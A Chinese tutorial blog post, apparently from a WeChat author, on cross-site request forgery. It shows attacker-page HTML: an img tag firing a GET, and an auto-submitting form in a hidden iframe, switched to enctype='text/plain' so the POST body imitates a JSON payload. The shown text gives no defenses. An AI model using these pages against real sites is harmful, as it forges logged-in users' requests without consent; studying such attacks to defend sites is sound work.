文章不易,请关注公众号 毛毛虫的小小蜡笔,多多支持,谢谢。

CSRF简介

Cross-site request forgery,跨站请求伪造,通常缩写为CSRF或者XSRF。

CSRF之get请求攻击

发起get请求攻击比较简单,只需要通过img标签就可实现。

因为受浏览器同源策略限制,因此不能通过ajax来发起get请求。

Demo验证

代码:

// 这段代码是网站B的页面,只是发起了网站A的请求
// src的值就是网站A下的get请求
<head>
    <meta charset="utf-8">
    <title>csrf之get请求攻击</title>
</head>
<body>
    <img src="http://xxx">
</body>

效果:

用户打开攻击者网站B,则会自动发起网站A的get请求,状态码200表示成功。
如下截图所示:
image.png

通过抓包查看,请求是带上了cookie,响应也是正常的。
如下截图所示:
image.png

就是如果在别的网站能发起网站A的请求,网站A就是存在CSRF漏洞了。
只是get请求的危害没有post请求那么大,但也不能忽略。
凡是漏洞都要提起十二分精神。

CSRF之post请求攻击

相比get请求的攻击,想发起post请求的攻击,就没那么容易实现。

首先我们知道,在网站B是不能通过ajax发起网站A的post请求的,因为有同源策略限制。
但需要注意的是,同源策略只是限制了XMLHttpRequest和Fetch API,而html的form标签则不受同源策略限制。
同样,get请求的img标签也不受同源策略。

1. 测试form表单发起post请求是否能攻击成功

代码:

// 这段代码是网站B的页面,只是发起了网站A的请求
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>

效果:

image.png

结论:

很明显请求是不成功的。
但能把网站A的登录态带过去,也算是成功了一部分。

对比下网站A的post请求,发现两者的请求数据格式不一样。

网站A的如下图所示:
image.png

分析:

form请求的数据格式跟enctype属性有关。
默认的是application/x-www-form-urlencoded,此时就是Form Data。
编码类型总共三种,还有两种是:multipart/form-data和text/plain。
前者是上传文件用的,后者用的比较少。
但正是通过text/plain,可以将数据格式改为Request Payload。

2. 再次验证

代码:

// 在上面的代码的基础上,把form新增enctype属性
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>



详情 请查看:毛毛虫的小小蜡笔


simonbaker
256 声望2 粉丝

wx:毛毛虫的小小蜡笔